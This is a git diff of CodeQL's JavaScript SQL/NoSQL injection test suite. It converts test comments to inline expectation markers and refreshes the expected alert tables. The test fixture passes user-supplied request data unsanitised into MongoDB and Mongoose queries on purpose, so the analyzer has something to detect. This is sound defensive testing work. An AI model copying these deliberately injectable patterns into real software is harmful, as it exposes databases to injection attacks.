+| typedClient.ts:23:33:23:33 | v | typedClient.ts:23:27:23:35 | { id: v } | provenance | Config |
 nodes
 | typedClient.ts:13:7:13:32 | v | semmle.label | v |
 | typedClient.ts:13:11:13:32 | JSON.pa ... body.x) | semmle.label | JSON.pa ... body.x) |
@@ -13,21 +30,4 @@ nodes
 | typedClient.ts:22:33:22:33 | v | semmle.label | v |
 | typedClient.ts:23:27:23:35 | { id: v } | semmle.label | { id: v } |
 | typedClient.ts:23:33:23:33 | v | semmle.label | v |
-edges
-| typedClient.ts:13:7:13:32 | v | typedClient.ts:14:30:14:30 | v | provenance |  |
-| typedClient.ts:13:11:13:32 | JSON.pa ... body.x) | typedClient.ts:13:7:13:32 | v | provenance |  |
-| typedClient.ts:13:22:13:29 | req.body | typedClient.ts:13:22:13:31 | req.body.x | provenance | Config |
-| typedClient.ts:13:22:13:31 | req.body.x | typedClient.ts:13:11:13:32 | JSON.pa ... body.x) | provenance | Config |
-| typedClient.ts:14:30:14:30 | v | typedClient.ts:14:24:14:32 | { id: v } | provenance | Config |
-| typedClient.ts:21:7:21:32 | v | typedClient.ts:22:33:22:33 | v | provenance |  |
-| typedClient.ts:21:7:21:32 | v | typedClient.ts:23:33:23:33 | v | provenance |  |
-| typedClient.ts:21:11:21:32 | JSON.pa ... body.x) | typedClient.ts:21:7:21:32 | v | provenance |  |
-| typedClient.ts:21:22:21:29 | req.body | typedClient.ts:21:22:21:31 | req.body.x | provenance | Config |
-| typedClient.ts:21:22:21:31 | req.body.x | typedClient.ts:21:11:21:32 | JSON.pa ... body.x) | provenance | Config |
-| typedClient.ts:22:33:22:33 | v | typedClient.ts:22:27:22:35 | { id: v } | provenance | Config |
-| typedClient.ts:23:33:23:33 | v | typedClient.ts:23:27:23:35 | { id: v } | provenance | Config |
 subpaths
-#select
-| typedClient.ts:14:24:14:32 | { id: v } | typedClient.ts:13:22:13:29 | req.body | typedClient.ts:14:24:14:32 | { id: v } | This query object depends on a $@. | typedClient.ts:13:22:13:29 | req.body | user-provided value |
-| typedClient.ts:22:27:22:35 | { id: v } | typedClient.ts:21:22:21:29 | req.body | typedClient.ts:22:27:22:35 | { id: v } | This query object depends on a $@. | typedClient.ts:21:22:21:29 | req.body | user-provided value |
-| typedClient.ts:23:27:23:35 | { id: v } | typedClient.ts:21:22:21:29 | req.body | typedClient.ts:23:27:23:35 | { id: v } | This query object depends on a $@. | typedClient.ts:21:22:21:29 | req.body | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.qlref
index d1d02cbe8d37..444c0e5f46aa 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-089/SqlInjection.ql
+query: Security/CWE-089/SqlInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/typed/typedClient.ts b/javascript/ql/test/query-tests/Security/CWE-089/typed/typedClient.ts
index 5741f61fad64..4efc810a6a32 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/typed/typedClient.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-089/typed/typedClient.ts
@@ -10,15 +10,15 @@ let app = express();
 app.use(bodyParser.json());
 
 app.post("/find", (req, res) => {
-  let v = JSON.parse(req.body.x);
-  getCollection().find({ id: v }); // NOT OK
+  let v = JSON.parse(req.body.x); // $ Source
+  getCollection().find({ id: v }); // $ Alert
 });
 
 import * as mongoose from "mongoose";
 declare function getMongooseModel(): mongoose.Model;
 declare function getMongooseQuery(): mongoose.Query;
 app.post("/find", (req, res) => {
-  let v = JSON.parse(req.body.x);
-  getMongooseModel().find({ id: v }); // NOT OK
-  getMongooseQuery().find({ id: v }); // NOT OK
+  let v = JSON.parse(req.body.x); // $ Source
+  getMongooseModel().find({ id: v }); // $ Alert
+  getMongooseQuery().find({ id: v }); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-089/untyped/Consistency.ql
deleted file mode 100644
index 9c721994d677..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/Consistency.ql
+++ /dev/null
@@ -1,4 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.SqlInjectionQuery as SqlInjection
-import semmle.javascript.security.dataflow.NosqlInjectionQuery as NosqlInjection
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/DatabaseAccesses.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/DatabaseAccesses.expected
index 0f95e5464fb9..52ce3076ba70 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/DatabaseAccesses.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/DatabaseAccesses.expected
@@ -1,4 +1,4 @@
-| html-sanitizer.js:15:5:17:5 | connect ... K\\n    ) |
+| html-sanitizer.js:15:5:17:5 | connect ... t\\n    ) |
 | json-schema-validator.js:27:13:27:27 | doc.find(query) |
 | json-schema-validator.js:30:13:30:27 | doc.find(query) |
 | json-schema-validator.js:33:13:33:27 | doc.find(query) |
@@ -7,43 +7,43 @@
 | json-schema-validator.js:55:13:55:27 | doc.find(query) |
 | json-schema-validator.js:59:13:59:27 | doc.find(query) |
 | json-schema-validator.js:61:13:61:27 | doc.find(query) |
-| marsdb-flow-to.js:14:3:14:41 | db.myDo ...  => {}) |
-| marsdb.js:16:3:16:36 | doc.fin ...  => {}) |
-| minimongo.js:18:3:18:17 | doc.find(query) |
-| mongodb.js:18:7:18:21 | doc.find(query) |
-| mongodb.js:21:7:21:48 | doc.fin ... itle }) |
-| mongodb.js:24:7:24:53 | doc.fin ... r(1) }) |
-| mongodb.js:29:9:29:34 | doc.fin ... itle }) |
-| mongodb.js:32:9:32:46 | doc.fin ... tle) }) |
-| mongodb.js:43:7:43:21 | doc.find(query) |
-| mongodb.js:54:7:54:21 | doc.find(query) |
-| mongodb.js:65:3:65:17 | doc.find(query) |
-| mongodb.js:73:5:77:27 | client\\n ...  tag }) |
-| mongodb.js:81:3:85:25 | importe ...  tag }) |
-| mongodb.js:98:5:98:19 | doc.find(query) |
-| mongodb.js:112:5:112:19 | doc.find(query) |
+| marsdb-flow-to.js:13:3:13:41 | db.myDo ...  => {}) |
+| marsdb.js:15:3:15:36 | doc.fin ...  => {}) |
+| minimongo.js:17:3:17:17 | doc.find(query) |
+| mongodb.js:17:7:17:21 | doc.find(query) |
+| mongodb.js:20:7:20:48 | doc.fin ... itle }) |
+| mongodb.js:23:7:23:53 | doc.fin ... r(1) }) |
+| mongodb.js:28:9:28:34 | doc.fin ... itle }) |
+| mongodb.js:30:9:30:46 | doc.fin ... tle) }) |
+| mongodb.js:41:7:41:21 | doc.find(query) |
+| mongodb.js:51:7:51:21 | doc.find(query) |
+| mongodb.js:61:3:61:17 | doc.find(query) |
+| mongodb.js:69:5:72:27 | client\\n ...  tag }) |
+| mongodb.js:76:3:79:25 | importe ...  tag }) |
+| mongodb.js:92:5:92:19 | doc.find(query) |
+| mongodb.js:105:5:105:19 | doc.find(query) |
 | mongodb_bodySafe.js:18:7:18:21 | doc.find(query) |
-| mongodb_bodySafe.js:29:7:29:21 | doc.find(query) |
-| mongoose.js:63:2:63:34 | Documen ... then(X) |
-| mongoose.js:65:2:65:51 | Documen ... on(){}) |
-| mongoose.js:67:2:68:27 | new Mon ... on(){}) |
-| mongoose.js:71:2:78:9 | Documen ... .exec() |
-| mongoose.js:85:2:85:52 | Documen ... query)) |
-| mongoose.js:86:2:86:52 | Documen ... query)) |
-| mongoose.js:87:2:87:57 | Documen ... query)) |
-| mongoose.js:88:2:88:57 | Documen ... query)) |
-| mongoose.js:89:2:89:52 | Documen ... query)) |
-| mongoose.js:90:2:90:55 | Documen ... query)) |
-| mongoose.js:92:2:92:52 | Documen ... query)) |
-| mongoose.js:93:2:93:49 | Documen ... query)) |
-| mongoose.js:94:2:94:57 | Documen ... query)) |
-| mongoose.js:95:2:95:54 | Documen ... query)) |
-| mongoose.js:96:2:96:52 | Documen ... query)) |
-| mongoose.js:97:2:97:52 | Documen ... query)) |
-| mongoose.js:99:2:99:50 | Documen ... query)) |
-| mongoose.js:113:2:113:53 | Documen ... () { }) |
-| mongoose.js:134:3:134:52 | Documen ... on(){}) |
-| mongoose.js:136:3:136:52 | Documen ... on(){}) |
+| mongodb_bodySafe.js:28:7:28:21 | doc.find(query) |
+| mongoose.js:49:2:49:34 | Documen ... then(X) |
+| mongoose.js:51:2:51:51 | Documen ... on(){}) |
+| mongoose.js:53:2:54:27 | new Mon ... on(){}) |
+| mongoose.js:57:2:64:9 | Documen ... .exec() |
+| mongoose.js:71:2:71:52 | Documen ... query)) |
+| mongoose.js:72:2:72:52 | Documen ... query)) |
+| mongoose.js:73:2:73:57 | Documen ... query)) |
+| mongoose.js:74:2:74:57 | Documen ... query)) |
+| mongoose.js:75:2:75:52 | Documen ... query)) |
+| mongoose.js:76:2:76:55 | Documen ... query)) |
+| mongoose.js:78:2:78:52 | Documen ... query)) |
+| mongoose.js:79:2:79:49 | Documen ... query)) |
+| mongoose.js:80:2:80:57 | Documen ... query)) |
+| mongoose.js:81:2:81:54 | Documen ... query)) |
+| mongoose.js:82:2:82:52 | Documen ... query)) |
+| mongoose.js:83:2:83:52 | Documen ... query)) |
+| mongoose.js:85:2:85:50 | Documen ... query)) |
+| mongoose.js:99:2:99:53 | Documen ... () { }) |
+| mongoose.js:120:3:120:52 | Documen ... on(){}) |
+| mongoose.js:122:3:122:52 | Documen ... on(){}) |
 | mysql.js:8:9:11:47 | connect ... ds) {}) |
 | mysql.js:14:9:16:47 | connect ... ds) {}) |
 | mysql.js:19:9:20:48 | connect ... ds) {}) |
@@ -59,10 +59,10 @@
 | pg-promise.js:17:3:17:21 | db.oneOrNone(query) |
 | pg-promise.js:18:3:18:17 | db.query(query) |
 | pg-promise.js:19:3:19:18 | db.result(query) |
-| pg-promise.js:21:3:23:4 | db.one( ... OK\\n  }) |
-| pg-promise.js:24:3:27:4 | db.one( ... OK\\n  }) |
+| pg-promise.js:21:3:23:4 | db.one( ... rt\\n  }) |
+| pg-promise.js:24:3:27:4 | db.one( ... d,\\n  }) |
 | pg-promise.js:28:3:31:4 | db.one( ... er\\n  }) |
-| pg-promise.js:32:3:35:4 | db.one( ... OK\\n  }) |
+| pg-promise.js:32:3:35:4 | db.one( ... rt\\n  }) |
 | pg-promise.js:36:3:43:4 | db.one( ...  ]\\n  }) |
 | pg-promise.js:44:3:50:4 | db.one( ...  }\\n  }) |
 | pg-promise.js:51:3:58:4 | db.one( ...  }\\n  }) |
@@ -88,7 +88,7 @@
 | redis.js:49:18:49:47 | client. ... value") |
 | socketio.js:11:5:11:54 | db.run( ... ndle}`) |
 | tst2.js:7:3:7:62 | sql.que ... ms.id}` |
-| tst2.js:9:3:9:85 | new sql ...  + "'") |
+| tst2.js:8:3:8:85 | new sql ...  + "'") |
 | tst3.js:9:3:11:4 | pool.qu ... ts\\n  }) |
 | tst3.js:16:3:18:4 | pool.qu ... ts\\n  }) |
 | tst4.js:8:3:8:67 | db.get( ...  + '"') |
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected
index 5ae279288cf8..843d41eb9229 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected
@@ -1,38 +1,596 @@
+#select
+| graphql.js:9:34:19:5 | `\\n      ... }\\n    ` | graphql.js:8:16:8:28 | req.params.id | graphql.js:9:34:19:5 | `\\n      ... }\\n    ` | This query string depends on a $@. | graphql.js:8:16:8:28 | req.params.id | user-provided value |
+| graphql.js:26:30:26:40 | `foo ${id}` | graphql.js:25:16:25:28 | req.params.id | graphql.js:26:30:26:40 | `foo ${id}` | This query string depends on a $@. | graphql.js:25:16:25:28 | req.params.id | user-provided value |
+| graphql.js:29:32:29:42 | `foo ${id}` | graphql.js:25:16:25:28 | req.params.id | graphql.js:29:32:29:42 | `foo ${id}` | This query string depends on a $@. | graphql.js:25:16:25:28 | req.params.id | user-provided value |
+| graphql.js:32:18:32:28 | `foo ${id}` | graphql.js:25:16:25:28 | req.params.id | graphql.js:32:18:32:28 | `foo ${id}` | This query string depends on a $@. | graphql.js:25:16:25:28 | req.params.id | user-provided value |
+| graphql.js:43:14:43:24 | `foo ${id}` | graphql.js:38:16:38:28 | req.params.id | graphql.js:43:14:43:24 | `foo ${id}` | This query string depends on a $@. | graphql.js:38:16:38:28 | req.params.id | user-provided value |
+| graphql.js:47:44:47:54 | `foo ${id}` | graphql.js:38:16:38:28 | req.params.id | graphql.js:47:44:47:54 | `foo ${id}` | This query string depends on a $@. | graphql.js:38:16:38:28 | req.params.id | user-provided value |
+| graphql.js:55:39:55:49 | `foo ${id}` | graphql.js:54:16:54:28 | req.params.id | graphql.js:55:39:55:49 | `foo ${id}` | This query string depends on a $@. | graphql.js:54:16:54:28 | req.params.id | user-provided value |
+| graphql.js:57:66:57:76 | `foo ${id}` | graphql.js:54:16:54:28 | req.params.id | graphql.js:57:66:57:76 | `foo ${id}` | This query string depends on a $@. | graphql.js:54:16:54:28 | req.params.id | user-provided value |
+| graphql.js:74:46:74:64 | "{ foo" + id + " }" | graphql.js:73:14:73:25 | req.query.id | graphql.js:74:46:74:64 | "{ foo" + id + " }" | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value |
+| graphql.js:82:14:88:8 | `{\\n     ...      }` | graphql.js:73:14:73:25 | req.query.id | graphql.js:82:14:88:8 | `{\\n     ...      }` | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value |
+| graphql.js:118:38:118:48 | `foo ${id}` | graphql.js:117:16:117:28 | req.params.id | graphql.js:118:38:118:48 | `foo ${id}` | This query string depends on a $@. | graphql.js:117:16:117:28 | req.params.id | user-provided value |
+| hana.js:11:19:11:23 | query | hana.js:9:30:9:37 | req.body | hana.js:11:19:11:23 | query | This query string depends on a $@. | hana.js:9:30:9:37 | req.body | user-provided value |
+| hana.js:17:35:17:100 | `SELECT ... usInput | hana.js:16:32:16:39 | req.body | hana.js:17:35:17:100 | `SELECT ... usInput | This query string depends on a $@. | hana.js:16:32:16:39 | req.body | user-provided value |
+| hana.js:24:33:24:96 | `INSERT ... usInput | hana.js:23:32:23:39 | req.body | hana.js:24:33:24:96 | `INSERT ... usInput | This query string depends on a $@. | hana.js:23:32:23:39 | req.body | user-provided value |
+| hana.js:31:31:31:97 | "SELECT ... usInput | hana.js:30:30:30:37 | req.body | hana.js:31:31:31:97 | "SELECT ... usInput | This query string depends on a $@. | hana.js:30:30:30:37 | req.body | user-provided value |
+| hana.js:48:15:48:52 | 'SELECT ... usInput | hana.js:47:24:47:31 | req.body | hana.js:48:15:48:52 | 'SELECT ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
+| hana.js:50:40:50:89 | 'CALL P ... usInput | hana.js:47:24:47:31 | req.body | hana.js:50:40:50:89 | 'CALL P ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
+| hana.js:54:38:54:66 | 'PROC_D ... usInput | hana.js:47:24:47:31 | req.body | hana.js:54:38:54:66 | 'PROC_D ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
+| hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
+| hana.js:73:17:73:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:73:17:73:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
+| hana.js:74:17:74:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:74:17:74:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
+| hana.js:76:20:76:73 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:76:20:76:73 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
+| hana.js:80:20:80:69 | 'call P ... usInput | hana.js:68:24:68:31 | req.body | hana.js:80:20:80:69 | 'call P ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
+| hana.js:84:20:84:78 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:84:20:84:78 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
+| html-sanitizer.js:16:9:16:59 | `SELECT ...  param1 | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ...  param1 | This query string depends on a $@. | html-sanitizer.js:13:39:13:44 | param1 | user-provided value |
+| json-schema-validator.js:33:22:33:26 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:33:22:33:26 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
+| json-schema-validator.js:35:18:35:22 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:35:18:35:22 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
+| json-schema-validator.js:55:22:55:26 | query | json-schema-validator.js:50:34:50:47 | req.query.data | json-schema-validator.js:55:22:55:26 | query | This query object depends on a $@. | json-schema-validator.js:50:34:50:47 | req.query.data | user-provided value |
+| json-schema-validator.js:59:22:59:26 | query | json-schema-validator.js:50:34:50:47 | req.query.data | json-schema-validator.js:59:22:59:26 | query | This query object depends on a $@. | json-schema-validator.js:50:34:50:47 | req.query.data | user-provided value |
+| json-schema-validator.js:61:22:61:26 | query | json-schema-validator.js:50:34:50:47 | req.query.data | json-schema-validator.js:61:22:61:26 | query | This query object depends on a $@. | json-schema-validator.js:50:34:50:47 | req.query.data | user-provided value |
+| koarouter.js:17:27:17:77 | `SELECT ... nd ')}` | koarouter.js:5:13:5:19 | version | koarouter.js:17:27:17:77 | `SELECT ... nd ')}` | This query string depends on a $@. | koarouter.js:5:13:5:19 | version | user-provided value |
+| ldap.js:28:30:28:34 | opts1 | ldap.js:20:21:20:27 | req.url | ldap.js:28:30:28:34 | opts1 | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
+| ldap.js:32:5:32:61 | { filte ... e}))` } | ldap.js:20:21:20:27 | req.url | ldap.js:32:5:32:61 | { filte ... e}))` } | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
+| ldap.js:66:30:66:53 | { filte ... ilter } | ldap.js:20:21:20:27 | req.url | ldap.js:66:30:66:53 | { filte ... ilter } | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
+| ldap.js:68:27:68:42 | `cn=${username}` | ldap.js:20:21:20:27 | req.url | ldap.js:68:27:68:42 | `cn=${username}` | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
+| marsdb-flow-to.js:13:17:13:21 | query | marsdb-flow-to.js:11:17:11:24 | req.body | marsdb-flow-to.js:13:17:13:21 | query | This query object depends on a $@. | marsdb-flow-to.js:11:17:11:24 | req.body | user-provided value |
+| marsdb.js:15:12:15:16 | query | marsdb.js:13:17:13:24 | req.body | marsdb.js:15:12:15:16 | query | This query object depends on a $@. | marsdb.js:13:17:13:24 | req.body | user-provided value |
+| minimongo.js:17:12:17:16 | query | minimongo.js:15:17:15:24 | req.body | minimongo.js:17:12:17:16 | query | This query object depends on a $@. | minimongo.js:15:17:15:24 | req.body | user-provided value |
+| mongodb.js:17:16:17:20 | query | mongodb.js:13:19:13:26 | req.body | mongodb.js:17:16:17:20 | query | This query object depends on a $@. | mongodb.js:13:19:13:26 | req.body | user-provided value |
+| mongodb.js:30:18:30:45 | { title ... itle) } | mongodb.js:25:19:25:26 | req.body | mongodb.js:30:18:30:45 | { title ... itle) } | This query object depends on a $@. | mongodb.js:25:19:25:26 | req.body | user-provided value |
+| mongodb.js:51:16:51:20 | query | mongodb.js:47:19:47:33 | req.query.title | mongodb.js:51:16:51:20 | query | This query object depends on a $@. | mongodb.js:47:19:47:33 | req.query.title | user-provided value |
+| mongodb.js:61:12:61:16 | query | mongodb.js:57:16:57:30 | req.query.title | mongodb.js:61:12:61:16 | query | This query object depends on a $@. | mongodb.js:57:16:57:30 | req.query.title | user-provided value |
+| mongodb.js:72:14:72:26 | { tags: tag } | mongodb.js:66:13:66:25 | req.query.tag | mongodb.js:72:14:72:26 | { tags: tag } | This query object depends on a $@. | mongodb.js:66:13:66:25 | req.query.tag | user-provided value |
+| mongodb.js:79:12:79:24 | { tags: tag } | mongodb.js:66:13:66:25 | req.query.tag | mongodb.js:79:12:79:24 | { tags: tag } | This query object depends on a $@. | mongodb.js:66:13:66:25 | req.query.tag | user-provided value |
+| mongodb.js:105:14:105:18 | query | mongodb.js:101:17:101:29 | queries.title | mongodb.js:105:14:105:18 | query | This query object depends on a $@. | mongodb.js:101:17:101:29 | queries.title | user-provided value |
+| mongodb_bodySafe.js:28:16:28:20 | query | mongodb_bodySafe.js:24:19:24:33 | req.query.title | mongodb_bodySafe.js:28:16:28:20 | query | This query object depends on a $@. | mongodb_bodySafe.js:24:19:24:33 | req.query.title | user-provided value |
+| mongoose.js:23:21:23:27 | [query] | mongoose.js:21:16:21:23 | req.body | mongoose.js:23:21:23:27 | [query] | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:25:17:25:21 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:25:17:25:21 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:27:22:27:26 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:27:22:27:26 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:29:21:29:25 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:29:21:29:25 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:31:28:31:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:31:28:31:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:33:16:33:20 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:33:16:33:20 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:35:19:35:23 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:35:19:35:23 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:37:28:37:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:37:28:37:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:39:28:39:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:39:28:39:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:41:28:41:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:41:28:41:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:43:22:43:26 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:43:22:43:26 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:45:18:45:22 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:45:18:45:22 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:47:22:47:26 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:47:22:47:26 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:49:21:49:25 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:49:21:49:25 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:51:32:51:36 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:51:32:51:36 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:53:27:53:31 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:53:27:53:31 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:54:8:54:12 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:54:8:54:12 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:57:17:57:21 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:57:17:57:21 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:58:10:58:14 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:58:10:58:14 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:59:8:59:12 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:59:8:59:12 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:60:7:60:11 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:60:7:60:11 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:61:16:61:20 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:61:16:61:20 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:63:10:63:14 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:63:10:63:14 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:68:46:68:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:68:46:68:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:69:47:69:51 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:69:47:69:51 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:71:46:71:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:71:46:71:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:73:51:73:55 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:73:51:73:55 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:75:46:75:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:75:46:75:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:78:46:78:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:78:46:78:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:80:51:80:55 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:80:51:80:55 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:82:46:82:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:82:46:82:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:97:14:97:18 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:97:14:97:18 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:99:31:99:35 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:99:31:99:35 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
+| mongoose.js:102:22:102:25 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:102:22:102:25 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:103:21:103:24 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:103:21:103:24 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:104:21:104:24 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:104:21:104:24 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:105:18:105:21 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:105:18:105:21 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:106:22:106:25 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:106:22:106:25 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:107:16:107:19 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:107:16:107:19 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:108:19:108:22 | cond | mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:108:19:108:22 | cond | This query object depends on a $@. | mongoose.js:101:32:101:45 | req.query.cond | user-provided value |
+| mongoose.js:109:20:109:21 | id | mongoose.js:101:11:101:22 | req.query.id | mongoose.js:109:20:109:21 | id | This query object depends on a $@. | mongoose.js:101:11:101:22 | req.query.id | user-provided value |
